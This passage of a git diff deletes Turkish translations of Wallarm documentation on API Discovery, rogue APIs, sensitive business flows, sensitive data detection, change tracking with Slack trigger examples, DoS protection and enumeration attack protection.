seçtiğiniz bir API host'una göre filtreleyin, ardından sonuçları bir spesifikasyon olarak indirin ve adını `Specification-01` koyun. -1. **API Specifications** bölümünde karşılaştırma için `Specification-01`'i yükleyin. -1. **Triggers** bölümünde yukarıda gösterildiği gibi bir tetikleyici oluşturun. -1. Yerel `Specification-01` dosyanızdan bazı uç noktaları silin. -1. **API Specifications** içinde `Specification-01`'inizi karşılaştırma için yeniden yükleyin. -1. Uç noktanızın **Issues** sütununda shadow API işaretini aldığını kontrol edin. -1. Slack kanalınızdaki şu tür mesajları kontrol edin: - - ``` - [wallarm] A new shadow endpoint has been discovered in your API - - Notification type: api_comparison_result - - The new GET example.com/users shadow endpoint has been discovered in your API. - - Client: Client-01 - Cloud: US - - Details: - - application: Application-01 - api_host: example.com - endpoint_path: /users - http_method: GET - type_of_endpoint: shadow - link: https://my.wallarm.com/api-discovery?instance=1802&method=GET&q=example.com%2Fusers - specification_name: Specification-01 - ``` - -## Rogue API türleri ve riskleri - -### Shadow API - -**Shadow API**, bir kuruluşun altyapısında uygun yetkilendirme veya denetim olmaksızın var olan, belgelenmemiş bir API'yi ifade eder. - -Shadow API'ler işletmeleri riske atar; saldırganlar bunları kritik sistemlere erişmek, değerli verileri çalmak veya operasyonları kesintiye uğratmak için kötüye kullanabilir. Bu risk, API'lerin genellikle kritik verilerin bekçisi olarak hareket etmesi ve çeşitli OWASP API güvenlik açıklarının API güvenliğini atlatmak için istismar edilebilmesi gerçeğiyle daha da artar. - -Yüklediğiniz API spesifikasyonları açısından shadow API, gerçek trafikte bulunan (API Discovery tarafından tespit edilen) ancak spesifikasyonunuzda yer almayan bir uç noktadır. - -Wallarm ile shadow API'leri buldukça, eksik uç noktaları içerecek şekilde spesifikasyonlarınızı güncelleyebilir ve API envanterinizin tam görünümünde izleme ve güvenlik faaliyetlerini yürütebilirsiniz. - -### Orphan API - -**Orphan API**, trafik almayan belgelenmiş bir API'yi ifade eder. - -Orphan API'lerin varlığı, şu adımları içeren bir doğrulama sürecinin nedeni olabilir: - -* Trafiğin gerçekten alınmadığını mı yoksa Wallarm düğümlerine görünmediğini mi anlamak için Wallarm trafik kontrol ayarlarının incelenmesi (tüm trafik düğümlerden geçmeyecek şekilde konuşlandırılmış olabilir; bu hatalı trafik yönlendirmesi olabilir veya üzerine düğüm koymanın unutulduğu başka bir Web Gateway bulunuyor olabilir vb.). -* Belirli uygulamaların belirli uç noktalarda trafik almaması gerekip gerekmediğinin veya bir yanlış yapılandırmanın söz konusu olup olmadığının belirlenmesi. -* Eskimiş uç noktalar hakkında karar verilmesi: önceki uygulama sürümlerinde kullanılan ancak mevcut sürümde kullanılmayanlar—güvenlik kontrol çabasını azaltmak için spesifikasyondan silinmeli mi? - -### Zombie API - -**Zombie API**, herkesin devre dışı bırakıldığını varsaydığı ancak aslında hâlâ kullanılan kullanımdan kalkmış API'leri ifade eder. - -Zombie API riskleri, belgelenmemiş (shadow) API'lerle benzerdir ancak çoğu zaman daha kötüdür; çünkü devre dışı bırakılma gerekçesi genellikle daha kolay ihlal edilebilen güvensiz tasarımlardır. - -Yüklediğiniz API spesifikasyonları açısından zombie API, spesifikasyonunuzun önceki sürümünde bulunan ancak mevcut sürümde bulunmayan (yani bu uç noktanın silinmesi amaçlanmış) ancak gerçek trafikte hâlâ bulunan (API Discovery tarafından tespit edilen) bir uç noktadır. - -Wallarm ile zombie API bulmak, bu tür uç noktaları gerçekten devre dışı bırakmak için uygulamalarınızın API yapılandırmasını yeniden kontrol etme nedeni olabilir. \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/sbf.md b/docs/latest-tr/api-discovery/sbf.md deleted file mode 100644 index e162b3213c..0000000000 --- a/docs/latest-tr/api-discovery/sbf.md +++ /dev/null @@ -1,50 +0,0 @@ -# Hassas İş Akışları - -Hassas iş akışı yeteneğiyle Wallarm'ın [API Discovery](overview.md) özelliği, kimlik doğrulama, hesap yönetimi, faturalama ve benzeri kritik yetenekler gibi belirli iş akışları ve işlevler için kritik olan uç noktaları otomatik olarak tanımlar. Bu makaleden hassas iş akışı işlevini nasıl kullanacağınızı öğrenin. - -NGINX Node 5.2.11 veya Native Node 0.10.1 ya da üzeri gereklidir. - -## Ele alınan sorunlar - -Hassas iş akışlarının kötüye kullanımı, OWASP API Top 10 riskleri arasında altıncı sırada ([API6](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)) yer alır. Bu hassas iş akışlarını korumak, iş sürekliliğini sağlar, hassas verilerin sızdırılmasını, itibar risklerini ve finansal zararları önler. - -Hassas iş akışları yeteneğiyle Wallarm, işletme açısından kritik işlevlerin sağlık durumunu vurgular ve şunlara yardımcı olur: - -* Hassas iş akışlarıyla ilişkili uç noktaları zafiyet veya ihlaller açısından düzenli olarak izlemek ve denetlemek. -* Geliştirme, bakım ve güvenlik çalışmalarında bunlara öncelik vermek. -* Daha güçlü güvenlik önlemleri uygulamak (örn. şifreleme, kimlik doğrulama, erişim kontrolleri ve hız sınırları). -* Denetim izlerini ve veri koruma önlemlerine ilişkin kanıtları kolayca üretmek. - -## Otomatik etiketleme - -Kolaylık olması için, API Discovery uç noktaları hassas iş akışlarına ait olup olmadıklarıyla otomatik olarak etiketler - yeni bir uç nokta keşfedildiğinde, bu uç noktanın bir veya daha fazla hassas iş akışına potansiyel olarak ait olup olmadığını kontrol eder: - ---8<-- "../include/default-sbf.md" - -Otomatik kontroller, uç nokta URL'sindeki anahtar kelimeler kullanılarak gerçekleştirilir. Örneğin, `payment`, `subscription` veya `purchase` gibi anahtar kelimeler, uç noktayı otomatik olarak **Billing** akışıyla ilişkilendirirken; `auth`, `token` veya `login` gibi anahtar kelimeler onu **Authentication** akışıyla ilişkilendirir. Eşleşme algılanırsa uç nokta otomatik olarak uygun akışa atanır. - -Otomatik etiketleme, hassas iş akışlarının çoğunu keşfeder. Ancak, aşağıdaki bölümde açıklandığı gibi atanan iş akışlarının listesini manuel olarak da ayarlamak mümkündür. - -## Uç noktaları manuel etiketleme - -[otomatik etiketleme](#automatic-tagging) sonuçlarını ayarlamak için, uç noktanın ait olduğu hassas iş akışları listesini manuel olarak düzenleyebilirsiniz. Anahtar kelime listesine doğrudan girmeyen uç noktaları da manuel olarak etiketleyebilirsiniz. - -Uç noktanın ait olduğu akışların listesini düzenlemek için Wallarm Console içinde API Discovery'ye gidin; ardından uç noktanız için, **Business flow & sensitive data** bölümünde listeden bir veya birkaç akış seçin. - -![API Discovery - Hassas iş akışları](../images/about-wallarm-waf/api-discovery/api-discovery-sbf.png) - -Aynısını uç nokta ayrıntılarında da yapabilirsiniz. - -## Oturumlarda iş akışları - -Wallarm'ın [API Sessions](../api-sessions/overview.md) özelliği, size kullanıcı aktivitelerinin tam dizisini sunmak ve böylece kötü niyetli aktörlerin mantığına daha fazla görünürlük sağlamak için kullanılır. Bir oturumun istekleri, API Discovery içinde bazı hassas iş akışları için önemli olarak etiketlenen uç noktaları etkiliyorsa, bu oturum da ilgili iş akışını etkiliyor olarak otomatik olarak [etiketlenir](../api-sessions/exploring.md#sensitive-business-flows). - -Oturumlara hassas iş akışı etiketleri atandıktan sonra, onları belirli bir iş akışına göre filtrelemek mümkün hale gelir; bu da analiz edilmesi en önemli oturumları seçmeyi kolaylaştırır. - -![!API Sessions - hassas iş akışları](../images/api-sessions/api-sessions-sbf-no-select.png) - -## İş akışına göre filtreleme - -Uç noktalara hassas iş akışı etiketleri atandıktan sonra, keşfedilen tüm uç noktaları belirli bir iş akışına göre filtrelemek (the **Business flow** filter) mümkün hale gelir; bu da en kritik iş yeteneklerini korumayı kolaylaştırır. - -![API Discovery - Hassas iş akışlarına göre filtreleme](../images/about-wallarm-waf/api-discovery/api-discovery-sbf-filter.png) \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/sensitive-data.md b/docs/latest-tr/api-discovery/sensitive-data.md deleted file mode 100644 index 41c27660da..0000000000 --- a/docs/latest-tr/api-discovery/sensitive-data.md +++ /dev/null @@ -1,74 +0,0 @@ -# Hassas Veri Tespiti - -API Discovery, API’leriniz tarafından tüketilen ve taşınan hassas verileri tespit eder ve vurgular; böylece bu verileri korumak ve veri ihlallerini veya hassas verilerin güvensiz kanallar üzerinden ya da yetkisiz sistemlere iletilmesini önlemek için şifreleme, tokenleştirme veya diğer güvenlik kontrollerini uygulayabilirsiniz. Bu makale özelliğin nasıl kullanılacağını ve yapılandırılacağını açıklar. - -Wallarm’ın hassas veri tespiti kapsamlı varsayılan yapılandırma ile kullanıma hazır gelir. Ayrıca oldukça özelleştirilebilirdir: mevcut tespit sürecine ince ayar yapabilir ve tespit edilmesi için kendi veri tiplerinizle genişletebilirsiniz. - -## Varsayılan tespit - -Varsayılan olarak, API Discovery aşağıdaki türde hassas verileri tespit eder: - -* IP ve MAC adresleri gibi teknik veriler -* Gizli anahtarlar ve parolalar gibi oturum açma kimlik bilgileri -* Banka kartı numaraları gibi finansal veriler -* Tıbbi lisans numarası gibi tıbbi veriler -* Tam ad, pasaport numarası veya SSN gibi kişisel olarak tanımlanabilir bilgiler (PII) - -Wallarm Console’da, listelenen her tür için sağlanan varsayılan [hassas veri desenleri](#customizing-sensitive-data-detection) listesini görmek için **API Discovery** → **Configure API Discovery** → **Sensitive data** bölümüne gidin. - -## Hassas veri tespitinin özelleştirilmesi {#customizing-sensitive-data-detection} - -Hassas veri tespitini şirketinizin özel ihtiyaçlarına ve GDPR, HIPAA, PCI DSS vb. sektör spesifik düzenlemelere tam uyumlu hale getirmek için API Discovery, tespit sürecine ince ayar yapma olanağı sunar (NGINX Node 5.0.3 veya Native Node 0.7.0 ya da üzeri gereklidir). - -Özelleştirme, şirketinizin benzersiz veri koruma yükümlülüklerini karşılamanıza olanak tanır. Ayrıca, veri akışlarınızda herhangi bir tescilli veya özel hassas veri öğesi bulunuyorsa, bunları tam olarak tanımlamak için özel düzenli ifadeler tanımlama olanağından yararlanırsınız. - -Hassas veri tespiti, bir dizi **hassas veri deseni** ile yapılandırılır – her desen belirli bir hassas veriyi ve onun aranmasına yönelik ayarları tanımlar. API Discovery varsayılan desen seti ile gelir. Varsayılan desenleri değiştirebilir ve kendi desenlerinizi Wallarm Console → **API Discovery** → **Configure API Discovery** → **Sensitive data** üzerinden ekleyebilirsiniz. - -Varsayılan (kutudan çıkar çıkmaz) desenleri değiştirebilir veya devre dışı bırakabilir ve gerekirse bunları hızla ilk ayarlarına geri yükleyebilirsiniz. Kendi desenleriniz ise istenen anda oluşturulabilir, değiştirilebilir, devre dışı bırakılabilir ve silinebilir. - -**Güven puanları** - -Hassas veri tespitinizi yapılandırmak için desenler ve bağlam kelimelerini kullanabilirsiniz. Desenleriniz ve bağlam kelimeleriniz için `0.1` ile `1.0` arasında güven puanları seçerek, bu ifadeyle eşleşmenin veya hassas verinin yanında ilgili dize ya da kelimenin bulunmasının, hassas verinin varlığı anlamına geldiğinden ne kadar emin olduğunuzu belirtin. Daha fazla gerçek varlığı tespit etmek ve daha az yanlış pozitif üretmek için uygun puanları kullanın. - -Puan eşik değeri `0.3`’e ulaşıldığında veya aşıldığında hassas veri tespit edilir: bağlam kelimelerinin puanları toplanır, desenlerden ise en büyüğü alınır. Daha iyi anlaşılması için aşağıdaki örneklere bakın. - -Güven puanlarını gerçek trafik verileri üzerinde denedikten sonra ayarlamalısınız. - -**Desen tabanlı tespit** - -Beklenen hassas veri değerini eşleştirmek için [PCRE](https://www.pcre.org/) biçiminde bir düzenli ifade kullanın. Bir düzenli ifade kullandığınızda tespit çok daha hassas hale gelir. Farklı puanlara sahip birkaç desen kullanabilirsiniz. Herhangi biri eşleşirse, hassas veri tespit edilir. - -Desenler, sabit uzunluktaki belirteçler (token), kimlikler (ID) ve URI’ler için uygundur. - -**Bağlam kelimeleri** - -Wallarm, desenle eşleşen şüpheli hassas verinin etrafındaki kelimelere bakar. Bağlam kelimelerinden herhangi biri bulunursa, ortaya çıkan güven puanını artırır. Bağlam; URL yolu, sorgu parametresi adı, JSON anahtarları ve yanındaki diğer parametrelerden gelebilir. - -![API Discovery – Settings - Sensitive data](../images/about-wallarm-waf/api-discovery/api-discovery-settings-sd.png) - -Örneğin, yukarıdaki görselde hassas veri şu şekilde tespit edilecektir: - -* `JWT` veya `AWS access key ID` desenine eşleşme bulunursa anında. -* `AWS key (weak)` desenine eşleşme bulunursa, tek başına “evet” sonucunu vermez (`0.1` puanı `0.3` eşik değerinin altındadır). -* Ancak `access` (`0.1`) ve `api` (`0.1`) bağlam kelimeleriyle toplam `0.3` olur ve hassas veri tespit edilir. -* `auth`’u zorunlu olarak işaretlersek durum değişir: `auth` yoksa, mevcut `access` ve `api` puanları yok sayılır ve deseni güçlendiremez. - -**Yalnızca bağlam kelimelerine dayalı tespit** - -Desen belirtmeden bağlam kelimeleri tanımlarsanız, Wallarm hassas verinin varlığına kelimelerin varlığına göre karar verir. Güven puanlarının toplamı ne kadar yüksekse, parametrenin tanımladığınız hassas veriyi içerdiği işaretlenme olasılığı o kadar artar. - -Bazı yalnızca bağlama dayalı aramalar için bazı kelimeleri **zorunlu** olarak belirtmek gerekir: zorunlu kelime değer bağlamında bulunmuyorsa, parametre hassas veri içermez. - -Örnek: personal_name - -Bağlam kelimeleri: - -* name -* first -* middle - -`middle_name` ile eşleşmeli, ancak `name` veya `middle` ile değil. Bu nedenle `name` için puanı `0.1` olarak ayarlarız, böylece `name` ile eşleşmeyiz. Ancak “middle_name” güçlü bir kombinasyon olduğundan `middle`’a `0.5` gibi yüksek bir puan vermeliyiz. - -`name` olmadan “middle” tespitini önlemek için, bir varlık için `name`’i zorunlu olarak işaretleriz. `name` bulunmazsa, hassas veri tespit edilmez. - -![API Discovery – Settings - Sensitive data - Özel desen oluşturma](../images/about-wallarm-waf/api-discovery/api-discovery-settings-sd-own-pattern.png) \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/setup.md b/docs/latest-tr/api-discovery/setup.md deleted file mode 100644 index 686f628b9e..0000000000 --- a/docs/latest-tr/api-discovery/setup.md +++ /dev/null @@ -1,48 +0,0 @@ -# API Discovery Kurulumu - -Bu makale, [API Discovery](overview.md) modülünün nasıl etkinleştirileceğini, yapılandırılacağını ve hata ayıklanacağını açıklar. - -## Etkinleştir - -API Discovery, Wallarm düğümü kurulumunun tüm [self-hosted](../installation/supported-deployment-options.md), [Security Edge](../installation/security-edge/overview.md) ve [Connector](../installation/connectors/overview.md) biçimlerine dahildir. Düğüm dağıtımı sırasında API Discovery modülü kurulur ancak varsayılan olarak devre dışı bırakılır. - -API Discovery özelliğini doğru şekilde etkinleştirip çalıştırmak için: - -1. [Abonelik planınızın](../about-wallarm/subscription-plans.md#core-subscription-plans) **API Discovery** içerdiğinden emin olun. Abonelik planını değiştirmek için lütfen [sales@wallarm.com](mailto:sales@wallarm.com) adresine talep gönderin. -1. Wallarm Console → **API Discovery** → **Configure API Discovery** içinde, API Discovery ile trafik analizini etkinleştirin. - -API Discovery modülü etkinleştirildiğinde, trafik analizi ve API envanteri oluşturulmaya başlanır. API envanteri, Wallarm Console'un **API Discovery** bölümünde görüntülenecektir. - -## Yapılandır - -**API Discovery** bölümündeki **Configure API Discovery** düğmesine tıklayarak, API keşfi için uygulama seçimi ve risk puanı hesaplamasını özelleştirme gibi ince ayar seçeneklerine geçersiniz. - -### API Discovery için uygulamaları seçme - -API Discovery'yi tüm uygulamalar için veya yalnızca seçilenler için etkinleştirebilir/devre dışı bırakabilirsiniz: - -1. Uygulamaların [Uygulamaların ayarlanması](../user-guides/settings/applications.md) makalesinde açıklandığı şekilde eklendiğinden emin olun. - - Uygulamalar yapılandırılmamışsa, tüm API'lerin yapıları tek bir ağaçta gruplanır. - -1. Gerekli uygulamalar için Wallarm Console → **API Discovery** → **Configure API Discovery** içinde API Discovery'yi etkinleştirin. - - ![API Discovery – Settings](../images/about-wallarm-waf/api-discovery/api-discovery-settings.png) - -**Settings** → **[Applications](../user-guides/settings/applications.md)** içinde yeni bir uygulama eklediğinizde, API keşfi için uygulamalar listesine otomatik olarak **devre dışı** durumda eklenir. - -### Risk puanı hesaplamasını özelleştirme - -[risk puanı](risk-score.md) hesaplamasında her faktörün ağırlığını ve hesaplama yöntemini yapılandırabilirsiniz. - -### Hassas veri tespitini özelleştirme - -API Discovery, API'leriniz tarafından tüketilen ve taşınan [hassas verileri tespit eder ve vurgular](sensitive-data.md). Mevcut tespit sürecini ince ayar yapabilir ve tespit edilecek kendi veri türlerinizle genişletebilirsiniz. - -Geçerli yapılandırmayı görüntülemek ve değişiklik yapmak için Wallarm Console içinde **API Discovery** → **Configure API Discovery** → **Sensitive data** yoluna gidin. Burada mevcut hassas veri desenlerini görüntüleyip değiştirebilir ve kendi desenlerinizi ekleyebilirsiniz. - -[Ayrıntılar için buraya bakın →](sensitive-data.md#customizing-sensitive-data-detection) - -## Hata ayıklama - -API Discovery günlüklerini almak ve analiz etmek için, düğümün çalıştığı Linux makinede `/opt/wallarm/var/log/wallarm/appstructure-out.log` günlük dosyasını okuyabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/api-discovery/track-changes.md b/docs/latest-tr/api-discovery/track-changes.md deleted file mode 100644 index 9aadcdf362..0000000000 --- a/docs/latest-tr/api-discovery/track-changes.md +++ /dev/null @@ -1,93 +0,0 @@ -# API'deki değişiklikleri izleme - -API'nizde değişiklikler meydana geldiğinde, [API Discovery](overview.md) oluşturulmuş API envanterini günceller, değişiklikleri vurgular ve neyin, ne zaman değiştiğine dair bilgi sağlar. Ayrıca, tüm değişiklikler veya bir kısmı için bildirimler ayarlayabilirsiniz. - -![API Discovery - değişiklikleri izleme](../images/about-wallarm-waf/api-discovery/api-discovery-track-changes.png) - -Bir şirkette birden çok ekip, farklı programlama dilleri ve çeşitli dil framework'leri olabilir. Dolayısıyla değişiklikler farklı kaynaklardan herhangi bir zamanda API'ye gelebilir ve bu da kontrolü zorlaştırır. Güvenlik sorumluları için değişiklikleri en kısa sürede tespit etmek ve analiz etmek önemlidir. Kaçırılması durumunda şu riskleri barındırabilir: - -* Geliştirme ekibi ayrı bir API'ye sahip üçüncü taraf bir kütüphaneyi kullanmaya başlayabilir ve bunu güvenlik uzmanlarına bildirmeyebilir. Bu şekilde şirket, izlenmeyen ve güvenlik açıkları açısından kontrol edilmeyen endpoint'lere sahip olur. Bunlar potansiyel saldırı yönleri olabilir. -* PII verileri endpoint'e aktarılmaya başlanır. Planlanmamış PII aktarımı, düzenleyicilerin gerekliliklerine uyumun ihlaline ve itibar risklerine yol açabilir. -* İş mantığı için önemli olan endpoint (örneğin, `/login`, `/order/{order_id}/payment/`) artık çağrılmıyor. -* `is_admin` gibi aktarılmaması gereken diğer parametreler (biri endpoint'e erişiyor ve bunu yönetici haklarıyla yapmaya çalışıyor) endpoint'e aktarılmaya başlanır. - -## API'deki değişikliklerin vurgulanması - -Her API Discovery bölümünü açtığınızda, **Changes since** filtresi `Last week` durumuna gelir; bu da son bir hafta içinde gerçekleşen değişikliklerin vurgulandığı anlamına gelir. Zaman aralığını değiştirmek için tarihleri **Changes since** filtresinde yeniden tanımlayın. - -Endpoint listesinde, aşağıdaki işaretler API'deki değişiklikleri vurgular: - -* Dönem içinde listeye eklenen endpoint'ler için **New**. -* Dönem içinde yeni keşfedilen parametrelere sahip endpoint'ler veya bu dönem içinde `Unused` durumunu almış parametrelere sahip endpoint'ler için **Changed**. Endpoint ayrıntılarında bu parametrelerin karşılık gelen işareti olacaktır. - - * Bir parametre dönem içinde keşfedilirse `New` durumunu alır. - * Bir parametre 7 gün boyunca herhangi bir veri iletmezse `Unused` durumunu alır. - * Daha sonra `Unused` durumundaki parametre yeniden veri iletmeye başlarsa `Unused` durumunu kaybeder. - -* Dönem içinde `Unused` durumunu alan endpoint'ler için **Unused**. - - * Bir endpoint 7 gün boyunca istenmezse (yanıtta 200 kodu ile) `Unused` durumunu alır. - * Daha sonra `Unused` durumundaki endpoint yeniden istenirse (yanıtta 200 kodu ile) `Unused` durumunu kaybeder. - -Hangi dönem seçilirse seçilsin, hiçbir öğe **New**, **Changed** veya **Unused** işaretiyle vurgulanmıyorsa, bu, o dönem için API'de değişiklik olmadığı anlamına gelir. - -![API Discovery - değişiklikleri izleme](../images/about-wallarm-waf/api-discovery/api-discovery-track-changes.png) - -Rogue olarak işaretlenen endpoint'ler için hızlı ipuçları: - -* Değişikliğin ne zaman gerçekleştiğini görmek için **New**, **Changed** veya **Unused** etiketlerinin üzerine fareyle gelin -* Bu durumun nedenini görmek için **Changed** endpoint ayrıntılarına gidin: **New** parametreler ve **Unused** durumuna geçen parametreler — parametre değişikliğinin ne zaman olduğunu görmek için etiketlerin üzerine fareyle gelin -* Son 7 güne ait tüm değişiklik türlerinin sayaçları [API Discovery Dashboard](dashboard.md) üzerinde görüntülenir. - -## API'deki değişiklikleri filtreleme - -**API Discovery** bölümünde, **Changes since** filtresini kullanmak, yalnızca seçilen dönem içinde değiştirilen endpoint'leri vurgular ancak değişiklik olmayan endpoint'leri filtrelemez. - -**Changes in API** filtresi farklı çalışır ve seçilen dönem içinde değiştirilen endpoint'leri **yalnızca** gösterir, diğerlerinin tümünü filtreler. - -Örneği ele alalım: Diyelim ki API'nizde bugün 10 endpoint var (daha önce 12 vardı, ancak bunlardan 3'ü 10 gün önce Unused olarak işaretlendi). Bu 10'dan 1'i dün eklendi; 2'sinin parametrelerinde değişiklik var: biri 5 gün önce, diğeri 10 gün önce: - -* Bugün **API Discovery** bölümünü her açtığınızda **Changes since** filtresi `Last week` durumunda olacaktır; sayfada 10 endpoint görüntülenecek, **Changes** sütununda bunlardan 1'i **New**, 1'i ise **Changed** işaretine sahip olacaktır. -* **Changes since** değerini `Last 2 weeks` olarak değiştirin - 13 endpoint görüntülenecek, **Changes** sütununda bunlardan 1'i **New**, 2'si **Changed** ve 3'ü **Unused** işaretine sahip olacaktır. -* **Changes in API** değerini `Unused endpoints` olarak ayarlayın - 3 endpoint görüntülenecek, hepsi **Unused** işaretine sahip olacaktır. -* **Changes in API** değerini `New endpoints + Unused endpoints` olarak değiştirin - 4 endpoint görüntülenecek, 3'ü **Unused**, 1'i **New** işaretine sahip olacaktır. -* **Changes since** değerini tekrar `Last week` olarak değiştirin - 1 endpoint görüntülenecek ve **New** işaretine sahip olacaktır. - -## Bildirim alma - -API'nizdeki değişiklikler hakkında anında mesajlaşma aracınıza, SIEM'inize veya günlük yönetim sisteminize bildirimler almak için **Changes in API** koşuluyla [triggers](../user-guides/triggers/triggers.md) yapılandırın. - -Yeni, değişmiş veya kullanılmayan endpoint'ler ya da bunların tümü hakkında mesajlar alabilirsiniz. Ayrıca izlemek istediğiniz uygulama veya host'a ve sunulan hassas veri türüne göre bildirimleri daraltabilirsiniz. - -**Tetikleyici örneği: Slack'te yeni endpoint'lerle ilgili bildirim** - -Bu örnekte, `example.com` API host'u için yeni endpoint'ler API Discovery modülü tarafından keşfedilirse, bununla ilgili bildirim yapılandırdığınız Slack kanalınıza gönderilecektir. - -![Changes in API tetikleyicisi](../images/user-guides/triggers/trigger-example-changes-in-api.png) - -**Tetikleyiciyi test etmek için:** - -1. Wallarm Console → **Integrations** bölümüne [US](https://us1.my.wallarm.com/integrations/) veya [EU](https://my.wallarm.com/integrations/) cloud'unda gidin ve [Slack ile entegrasyon](../user-guides/settings/integrations/slack.md) yapılandırın. -1. **Triggers** bölümünde, yukarıda gösterildiği gibi bir tetikleyici oluşturun. -1. `200` (`OK`) yanıtını almak için `example.com/users` endpoint'ine birkaç istek gönderin. -1. **API Discovery** bölümünde, endpoint'inizin **New** işaretiyle eklendiğini kontrol edin. -1. Slack kanalınızdaki aşağıdakine benzer mesajları kontrol edin: - ``` - [wallarm] API'nizde yeni bir endpoint keşfedildi - - Bildirim türü: api_structure_changed - - API'nizde yeni GET example.com/users endpoint'i keşfedildi. - - Client: Client 001 - Cloud: US - - Details: - - application: Application 1802 - domain: example.com - endpoint_path: /users - http_method: GET - change_type: added - link: https://my.wallarm.com/api-discovery?instance=1802&method=GET&q=example.com%2Fusers - ``` \ No newline at end of file diff --git a/docs/latest-tr/api-protection/business-logic-abuse-detection.md b/docs/latest-tr/api-protection/business-logic-abuse-detection.md deleted file mode 100644 index 06d98b40c5..0000000000 --- a/docs/latest-tr/api-protection/business-logic-abuse-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-protection/business-logic-abuse-detection.md" \ No newline at end of file diff --git a/docs/latest-tr/api-protection/dos-protection.md b/docs/latest-tr/api-protection/dos-protection.md deleted file mode 100644 index aab7257365..0000000000 --- a/docs/latest-tr/api-protection/dos-protection.md +++ /dev/null @@ -1,37 +0,0 @@ -# DoS Koruması - -[Unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md), en ciddi API güvenlik risklerinden oluşan [OWASP API Top 10 2023](../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023) listesinde yer almaktadır. Kendi başına bir tehdit olmakla birlikte (aşırı yüklenme nedeniyle hizmetin yavaşlaması veya tamamen durması), bu durum aynı zamanda numaralandırma saldırıları gibi farklı saldırı türleri için temel oluşturur. Belirli bir zaman diliminde çok fazla isteğe izin verilmesi bu risklerin başlıca nedenlerindendir. - -Wallarm, API'nize aşırı trafiği önlemeye yardımcı olmak için **DoS protection** [önleme kontrolü](../about-wallarm/mitigation-controls-overview.md) sağlar. - -[NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.0.1 veya [Native Node](../installation/nginx-native-node-internals.md#native-node) 0.14.1 ya da daha yeni sürümlerini gerektirir. - -## Önleme kontrolü oluşturma ve uygulama - -Devam etmeden önce: herhangi bir önleme kontrolü için **Scope**, **Scope filters** ve **Mitigation mode** değerlerinin nasıl ayarlandığını öğrenmek üzere [Mitigation Controls](../about-wallarm/mitigation-controls-overview.md#configuration) makalesini kullanın. - -Oran istismarı korumasını yapılandırmak için: - -1. Wallarm Console → **Mitigation Controls** bölümüne gidin. -1. **Add control** → **DoS protection** seçeneğini kullanın. -1. Önleme kontrolünün uygulanacağı **Scope**'u tanımlayın. -1. Gerekirse, **Scope filters** içinde gelişmiş koşulları tanımlayın. -1. Zaman aralığı başına istek sayısını sınırlayacak eşik değerini ayarlayın. -1. **Mitigation mode** bölümünde, eşik aşıldığında yapılacak işlemi ayarlayın. -1. **Create**'e tıklayın. - -## Önleme kontrolü örnekleri - -### Kimlik doğrulama parametrelerine yönelik brute force saldırılarını önlemek için oturumlara göre bağlantıları sınırlama - -Kullanıcı oturumlarına göre birim zamanda istekleri sınırlayarak, korunan kaynaklara yetkisiz erişim elde etmek için gerçek JWT'leri veya diğer kimlik doğrulama parametrelerini bulmaya yönelik brute force girişimlerini kısıtlayabilirsiniz. Örneğin, oturum başına 60 saniyede yalnızca 10 isteğe izin veren bir limit ayarlandıysa, farklı jeton değerleriyle çok sayıda istek yaparak geçerli bir JWT keşfetmeye çalışan bir saldırgan hızlıca limite ulaşır ve istekleri IP veya oturum bazında reddedilir. - -Uygulamanızın `https://example.com/api/login` uç noktasında Bearer JWT içeren POST isteklerini kabul ettiğini varsayalım. Bu uç noktaya 60 saniyede 10'dan fazla isteğin gönderildiği oturumları 1 saat süreyle engellemek istiyoruz. Bu senaryo için, birim zamanda istekleri sınırlayan önleme kontrolü şu şekilde görünecektir: - -![DoS koruması - JWT örneği](../images/api-protection/mitigation-controls-dos-protection-jwt.png) - -## Oran sınırlama ile farkı - -Kaynak tüketimini kısıtlamak ve çok sayıda istek kullanılarak gerçekleştirilen saldırıları önlemek için, burada açıklanan oran istismarı korumasına ek olarak, Wallarm [gelişmiş oran sınırlama](../user-guides/rules/rate-limiting.md) sağlar. - -Oran istismarı koruması, saldırganları IP'lerine veya oturumlarına göre engeller, **oysa** gelişmiş oran sınırlama, oran çok yüksekse bazı istekleri geciktirir (tampona alır) ve tampon dolduğunda kalanları reddeder; oran normale döndüğünde tamponlanan istekler iletilir, IP veya oturum bazında herhangi bir engelleme uygulanmaz. \ No newline at end of file diff --git a/docs/latest-tr/api-protection/enumeration-attack-protection.md b/docs/latest-tr/api-protection/enumeration-attack-protection.md deleted file mode 100644 index 749713f600..0000000000 --- a/docs/latest-tr/api-protection/enumeration-attack-protection.md +++ /dev/null @@ -1,188 +0,0 @@ -# Numaralandırma Saldırısı Koruması - -Wallarm, kötü niyetli aktörler için yüksek değere sahip bilgilerin ifşasını önleyerek API’lerinizi [numaralandırma saldırılarına](../attacks-vulns-list.md#enumeration-attacks) karşı korumanızı sağlar. Geçerli kullanıcı adlarını, e‑posta adreslerini veya sistem kaynaklarını tespit ederek saldırganlar, sonraki saldırılar için odaklarını önemli ölçüde daraltabilir. Bu keşif aşaması, saldırganların hedef sistemi daha iyi anlamasına, potansiyel olarak güvenlik açıklarını ortaya çıkarmasına ve daha sofistike ve hedefli saldırıların planlanmasına olanak tanır; nihayetinde başarılı bir ihlal olasılığını artırır. - -[NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.0.1 veya [Native Node](../installation/nginx-native-node-internals.md#native-node) 0.14.1 ya da üzeri gerektirir. - -## Azaltma kontrolleri - -Wallarm, numaralandırmaya karşı korumayı yapılandırmanız için birkaç [azaltma kontrolü](../about-wallarm/mitigation-controls-overview.md) sunar. Hangi kontrolün kullanılacağını seçerken aşağıdakileri göz önünde bulundurun: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
              KontrolÖzelliklerNumaralandırırSaldırı
              Brute force protectionBelirtilen zaman aralığında her parametre için görülen benzersiz değerlerin sayısını sayar.passwordBrute force
              BOLA protectionobject ID, user IDBOLA
              Enumeration attack protectionHerhangi bir parametreEnum
